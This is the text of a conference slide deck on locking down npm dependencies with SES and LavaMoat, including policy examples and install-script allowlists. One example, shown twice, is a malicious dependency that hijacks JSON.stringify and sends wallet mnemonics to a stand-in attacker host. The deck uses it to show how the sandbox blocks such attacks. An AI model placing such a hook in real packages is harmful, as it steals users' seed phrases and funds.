Skip to main content
Your npm deps
can see everything 👀
Here’s how we lock them down!
ETH Belgrade 2026
Reviewed 184 deps,
shipped 2,409!
Attack vector
// dep-of-a-dep-of-a-dep · v4.2.1 · published 6h ago
const original = JSON.stringify
JSON.stringify = function (v) {
if (String(v).includes('mnemonic'))
fetch('https://attacker.example', { method: 'POST', body: v })
return original.apply(this, arguments)
}
● Every dep runs with your
app's full authority 👀
● import is not a
permission, it's a merge
● npm has no way to say
“this package can't use
fetch” 󰤇
Why it works?
Defence?
SES + LavaMoat
● SES does a lockdown: freezes the built-ins = JSON.stringify
becomes read-only for everybody
● LavaMoat adds a policy on top of SES's compartments = every
package gets its own scope, sees only the globals you listed for it
SES freezes ❄ the shared built-ins.
LavaMoat gives each package its own room with a specific set of keys 🛡
What a compartment actually is
with (scopeProxy) { ...module code... }
Every package gets its own scope .
It sees only the globals you listed for it. Everything else is undefined .
The policy is just a list
"viem": {
"globals": { "fetch": true, "Request": true, "setTimeout": true, … },
"packages": { "viem>ox": true, "viem>isows": true, … }
}
"viem>ox": {
"globals": {
"crypto.getRandomValues": true,
"crypto.subtle.importKey": true,
"document.title": true
// … 3 more, all property-level
}
}
A package with almost nothing
"gridplus-sdk>bignumber.js": {
"globals": { "crypto": true, "define": true }
}
This library does math on your money.
It can’t make a network request. Inside its compartment fetch is undefined .
Our real
policy >
Now kill the attack from slide 2!
const original = JSON.stringify
JSON.stringify = function (v) {
fetch('https://attacker.example'
...
}
// ← ✗ SES: JSON is frozen. TypeError!
// ← ✗ Policy: fetch is undefined!
The install-time
attack is a
different beast
On your laptop / on the CI
Postinstall hooks via @lavamoat/allow-scripts 🛡
{ "name": "some-build-tool", "version": "2.1.4",
"scripts": { "postinstall": "node ./lib/setup.js" } }
Install scripts policy
"lavamoat": {
"allowScripts": {
"$root$": false,
"@sentry/cli": true,
"secp256k1": false,
"@trezor/connect>@trezor/transport>usb": false,
...22 entries total
}
}
Install scripts need their own allowlist.
Gotcha #1: exceptions
const LAVAMOAT_UNSAFE_ENTRIES = new Set([
'ambire-inpage', 'ethereum-inpage',
'content-script', 'content-script-ambire-injection',
'content-script-ethereum-injection'
])
Some parts can’t be sandboxed.
Gotcha #2: performance
{ "packages": ["react-fast-compare"] }
The with(scopeProxy) wrapper stops the JIT from optimizing hot code.
react-fast-compare is a deep-equality helper on a very hot path.
It touches no sensitive capability, so we took it out of the sandbox.
What LavaMoat
and SES
can’t guard
A compromised package that is already on the signing path can
still lie to you 😢
If it swaps the recipient address, LavaMoat won't care - it never
needed a new capability.
That threat needs a different control.
No perfect security
2 things you can
do on Monday
Less than 1d of work
1) block your install scripts
npm i -D @lavamoat/allow-scripts
2) Age-gate your deps
Don't install versions published yesterday.
Your npm deps can see everything 👀
Here’s how we lock them down!
Reach out to:
@0xSuperKalo
kalo@ambire.com
No time for q? 👀